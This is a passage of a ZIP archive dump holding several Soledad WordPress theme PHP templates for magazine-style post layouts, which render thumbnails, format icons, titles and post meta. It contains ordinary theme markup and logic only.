			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_author || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\ױt  t  /  template-parts/magazine-sc/magazine-style-3.phpnu [        <?php
/**
 * Template display for featured category style 3
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="mag-photo">
    <div class="magcat-thumb hentry">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID() );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID() );
		}
		?>
        <a href="<?php penci_permalink_fix(); ?>"
           class="mag-overlay-photo<?php echo penci_class_lightbox_enable(); ?>"></a>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } else { ?>
            <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } ?>
		<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_author || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\Y    /  template-parts/magazine-sc/magazine-style-8.phpnu [        <?php
/**
 * Template loop for list style
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
$post_id = get_the_ID();
?>
<li class="list-post">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
		<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
		<?php if ( $images ) : ?>
        <div class="thumbnail">
			<?php do_action( 'penci_bookmark_post' ); ?>
            <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images

					as $image ) : ?>

                    <div class="swiper-slide swiper-mark-item">

						<?php $the_image = wp_get_attachment_image_src( $image, $thumbsize ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                            <figure class="penci-swiper-mask penci-image-holder penci-lazy"
								<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                    data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                            </figure>
						<?php } else { ?>
                            <figure class="penci-swiper-mask penci-image-holder"
								<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                    style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                            </figure>
						<?php } ?>


						<?php endforeach; ?>
                    </div>
                </div>
            </div>
			<?php endif; ?>

			<?php elseif ( has_post_thumbnail() ) : ?>
                <div class="thumbnail">
					<?php
					do_action( 'penci_bookmark_post' );
					/* Display Review Piechart  */
					if ( function_exists( 'penci_display_piechart_review_html' ) ) {
						penci_display_piechart_review_html( get_the_ID() );
					}
					?>

					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
                           href="<?php penci_permalink_fix(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                           href="<?php penci_permalink_fix(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                        </a>
					<?php } ?>

					<?php if ( 'yes' != $hide_icon_format ): ?>
						<?php if ( has_post_format( 'video' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'gallery' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'audio' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'link' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'quote' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
						<?php endif; ?>
					<?php endif; ?>
                </div>
			<?php endif; ?>

            <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
                <div class="header-list-style">
					<?php if ( 'yes' != $hide_cat ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

                    <h2 class="grid-title entry-title"><a
                                href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
                    </h2>

					<?php do_action( 'penci_after_post_title' ); ?>

					<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_date || 'yes' != $hide_author || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php if ( 'yes' != $hide_author ) : ?>
                                <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            class="url fn n"
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( 'yes' != $hide_date ) : ?>
                                <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' == $show_commentcount ) : ?>
                                <span class="featc-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( 'yes' == $show_viewscount ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="featc-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php if ( isset( $custom_meta_key ) ) {
								echo penci_show_custom_meta_fields( $custom_meta_key );
							} ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>

				<?php if ( get_the_excerpt() && 'yes' != $hide_excerpt ): ?>
                    <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
						<?php
						do_action( 'penci_before_post_excerpt' );
						if ( isset( $_excerpt_length ) ) {
							$_excerpt_length = $_excerpt_length ? $_excerpt_length : 25;
							penci_the_excerpt( $_excerpt_length, $post_id );
						} else {
							the_excerpt();
						}
						?>
                    </div>
				<?php endif; ?>

            </div>
			<?php penci_soledad_meta_schema(); ?>
    </article>
</li>
PK     N\9    /  template-parts/magazine-sc/magazine-style-4.phpnu [        <?php
/**
 * Template display for featured category style 4
 *
 * @since 2.0
 */
$thumbsize = 'penci-slider-thumb';
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-slider-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-full-thumb';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-full-thumb';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="mag-single-slider swiper-slide">
    <div class="magcat-thumb hentry">
	    <?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
        <a href="<?php penci_permalink_fix(); ?>"
           class="mag-single-slider-overlay<?php echo penci_class_lightbox_enable(); ?>"></a>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } else { ?>
            <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } ?>
		<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_author || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\=3\    0  template-parts/magazine-sc/magazine-style-13.phpnu [        <?php
/**
 * Template loop for gird 3 columns style
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>
<li class="grid-style">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post','small' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID(), 'small' );
				}
				?>

				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $hide_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
            <h2 class="grid-title entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h2>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_date || 'yes' != $hide_author || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>

    </article>
</li>
PK     N\`a+[    /  template-parts/magazine-sc/magazine-style-9.phpnu [        <?php
/**
 * Template display for featured category style 9
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size( 'small' );
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-small';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="mag-post-box hentry">
    <div class="magcat-thumb">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID(),'small' );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID(), 'small' );
		}
		?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <a class="penci-image-holder penci-lazy small-fix-size<?php echo penci_class_lightbox_enable(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } else { ?>
            <a class="penci-image-holder small-fix-size<?php echo penci_class_lightbox_enable(); ?>"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } ?>
		<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
        <h3 class="magcat-titlte entry-title"><a
                    href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
        </h3>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || $show_author_sposts || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
            <div class="grid-post-box-meta mag-meta">
				<?php if ( $show_author_sposts ) : ?>
                    <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                class="url fn n"
                                href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"><?php the_author(); ?></a></span>
				<?php endif; ?>
				<?php if ( 'yes' != $hide_date ) : ?>
                    <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' == $show_commentcount ) : ?>
                    <span class="featc-comment"><a
                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
				<?php endif; ?>
				<?php
				if ( 'yes' == $show_viewscount ) {
					echo '<span>';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				}
				?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <span class="featc-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
	            <?php if ( isset( $custom_meta_key ) ) {
		            echo penci_show_custom_meta_fields( $custom_meta_key );
	            } ?>
				<?php do_action( 'penci_extra_meta' ); ?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     N\t     0  template-parts/magazine-sc/magazine-style-10.phpnu [        <?php
/**
 * Template display for featured category style 10
 *
 * @since 1.0
 */
$post_id = get_the_ID();
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="mag-post-box hentry<?php if ( $m < 3 ): echo ' first-post'; endif; ?>">
    <div class="magcat-thumb">
		<?php
		$size_pie = 'small';
		if ( $m < 3 ): $size_pie = 'normal'; endif;
		do_action( 'penci_bookmark_post', $post_id,$size_pie );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( $post_id, $size_pie );
		}
		?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <a class="penci-image-holder penci-lazy<?php if ( $m > 2 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               data-bgset="<?php echo penci_image_srcset( $post_id,$thumbsize ); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } else { ?>
            <a class="penci-image-holder<?php if ( $m > 2 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               style="background-image: url('<?php echo penci_get_featured_image_size( $post_id, $thumbsize ); ?>');"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } ?>
		<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
